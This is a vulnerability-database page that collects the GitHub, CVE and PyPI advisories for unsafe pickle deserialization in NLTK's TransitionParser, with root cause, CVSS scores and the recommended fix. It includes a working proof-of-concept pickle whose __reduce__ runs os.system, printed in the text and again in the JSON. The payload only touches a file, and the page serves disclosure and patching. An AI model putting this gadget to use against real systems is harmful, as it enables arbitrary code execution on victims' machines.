Vulnerability-Lookup

GHSA-RHP5-R9X4-F5G2

Vulnerability from github – Published: 2026-09-08 16:41 – Updated: 2026-09-08 16:41

Summary

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl") 3. pickle_load() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment

NLTK version: 3.8.1+ (all versions with transitionparser.py)
Python 3.6+
No special dependencies required

Reproduction

Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File	Line	Before	After
`nltk/parse/transitionparser.py`	557	`pickle_load(f)`	`pickle_load(f, restricted=True)`
`nltk/parse/chartparser_app.py`	816	`pickle_load(model_data_file)`	`pickle_load(model_data_file, restricted=True)`
`nltk/parse/chartparser_app.py`	2273	`pickle_load(file)`	`pickle_load(file, restricted=True)`
`nltk/parse/chartparser_app.py`	2311	`pickle_load(fp)`	`pickle_load(fp, restricted=True)`

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:41:11Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "GHSA-rhp5-r9x4-f5g2",
  "modified": "2026-09-08T16:41:11Z",
  "published": "2026-09-08T16:41:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution"
}

CVE-2026-78683 (GCVE-0-2026-78683)

Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 15:19

Title

NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization

Summary

NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 15:19 UTC

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/nltk/nltk/security/advisories/…	vendor-advisory
https://www.vulncheck.com/advisories/nltk-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
nltk	nltk	Affected: 0 , < 3.10.0 (semver) Unaffected: 3.10.0 (semver) cpe:2.3:a:nltk:nltk::::::::

Date Public

2026-08-11 00:00

Credits

ekaf

Show details on NVD website

JSON

To clipboard

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PYSEC-2026-3734

Vulnerability from pysec - Published: 2026-08-25 02:16 - Updated: 2026-09-01 08:54

Details

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Impacted products

Name	purl
nltk	pkg:pypi/nltk

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8",
        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ],
  "details": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.",
  "id": "PYSEC-2026-3734",
  "modified": "2026-09-01T08:54:51.968743Z",
  "published": "2026-08-25T02:16:53.033Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-RHP5-R9X4-F5G2

Summary

Root Cause

Attack Surface

Steps to Reproduce

Environment

Reproduction

Proof That the Fix Works

Working PoC

Recommended Fix

CVE-2026-78683 (GCVE-0-2026-78683)

PYSEC-2026-3734

Tags

Sightings

Nomenclature